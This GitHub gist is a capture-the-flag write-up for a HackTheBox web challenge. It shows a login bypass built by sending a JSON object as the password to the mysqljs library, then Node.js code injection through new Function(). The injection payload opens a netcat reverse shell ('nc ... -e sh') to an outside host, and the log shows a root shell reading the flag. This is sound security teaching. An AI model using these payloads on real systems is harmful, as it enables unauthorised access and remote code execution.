Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Last active August 6, 2022 06:20
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save pich4ya/c033a1d147f8eb0348c10ed1a44fc2dc to your computer and use it in GitHub Desktop.
Save pich4ya/c033a1d147f8eb0348c10ed1a44fc2dc to your computer and use it in GitHub Desktop.
HackTheBox Cyber Apocalypse 2022 Intergalactic Chase - Spiky Tamagotchy Writeup

info

Captain Spiky comes from a rare species of creatures who can only breathe underwater. During the energy-crisis war, he was captured as a war prisoner and later forced to be a Tamagotchi pet for a child of a general of nomadic tribes. He is forced to react in specific ways and controlled remotely purely for the amusement of the general's children. The Paraman crew needs to save the captain of his misery as he is potentially a great asset for the war against Draeger. Can you hack into the Tamagotchi controller to rescue the captain?

techstack

  • node.js
  • express.js
  • mysql
  • alpine docker

node mysql => sqli => auth bypass

when you pass object into node mysql module's prepared statement (without type checking for string), it can cause SQLi

original vuln: https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4

/api/login takes username/password from user input.

File: /routes/index.js

router.post('/api/login', async (req, res) => {
	const { username, password } = req.body;

	if (username && password) {
		return db.loginUser(username, password)
[...]
 module.exports = database => {
	db = database;
	return router;
};

they are passed to loginUser() and reached the prepared statement here.

File: /database.js

    async loginUser(user, pass) {
		return new Promise(async (resolve, reject) => {
			let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
            this.connection.query(stmt, [user, pass], (err, result) => {

Exploit

POST /api/login HTTP/1.1
Host: longcat.local:1337
[...]
{"username":"admin","password": {"password": 1}}

root cause: https://github.com/mysqljs/mysql/blob/master/Readme.md#escaping-query-values

-   Objects are turned into `key = 'val'` pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.

the prepared statement:

SELECT username FROM users WHERE username = ? AND password = ?

become:

SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1

so, the evaluation is like:

`password` =is=> password column
password = `password` =evaluated as=> true (1)

password = [user input]
password = `password` = 1
1 = 1

1 = 1 =evaluated as=> true

Like this:

MariaDB [spiky_tamagotchi]> select password=password from users;
+-------------------+
| password=password |
+-------------------+
|                 1 |
+-------------------+
1 row in set (0.001 sec)

MariaDB [spiky_tamagotchi]> select password=password=1 from users;
+---------------------+
| password=password=1 |
+---------------------+
|                   1 |
+---------------------+
1 row in set (0.001 sec)

MariaDB [spiky_tamagotchi]> select * from users where username ='admin' and password = `password` = 1;
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
|  1 | admin    | tyR8Y9YaKRd5oNQc |
+----+----------+------------------+
1 row in set (0.004 sec)

it returns:

HTTP/1.1 200 OK
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTcxMDEyfQ.JAVOdFqMM7fDjaINAY8R4-dFSTsDGO_pvRMyGeUlTG4; Max-Age=3600; Path=/; Expires=Thu, 19 May 2022 15:36:52 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 46
Date: Thu, 19 May 2022 14:36:52 GMT
Connection: close

{"message":"User authenticated successfully!"}

Chrome's console

document.cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c; Max-Age=3600; Path=/; Expires=Thu, 19 May 2023 15:36:52 GMT"

File: /routes/index.js

router.get('/interface', AuthMiddleware, async (req, res) => {
	return res.render('interface.html');
});

http://longcat.local:1337/interface

node.js code injection => RCE

user-supplied input "activity" passes to calculate() function

File: /routes/index.js

router.post('/api/activity', AuthMiddleware, async (req, res) => {
	const { activity, health, weight, happiness } = req.body;
	if (activity && health && weight && happiness) {
		return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))

Next, the string 'res' includes the 'activity' value. Lastly, 'res' is passed into new Function(res) and it results in node.js code injection.

File: /helpers/SpikyFactor.js

const calculate = (activity, health, weight, happiness) => {
    return new Promise(async (resolve, reject) => {
        try {
            // devine formula :100:
            let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
                if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; }  if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; }  if (w < 10) { w = 10 } return {m, hp, w, hs}
                }`;
            quickMaths = new Function(res);

Exploit: RCE

POST /api/activity HTTP/1.1
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c
[...]
{"activity":"sleep'+(global.process.mainModule.require('child_process').execSync('nc 1.3.3.7 1234 -e sh'))+'","health":"63","weight":"42","happiness":"56"}

flag.txt

$ ncat -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 178.62.119.24.
Ncat: Connection from 178.62.119.24:36141.
id
uid=0(root) gid=0(root) groups=1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
pwd
/app
cat /flag.txt
HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}

I did not solve this during the ctf time. after-event hint by Rainb0wCodes_484.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment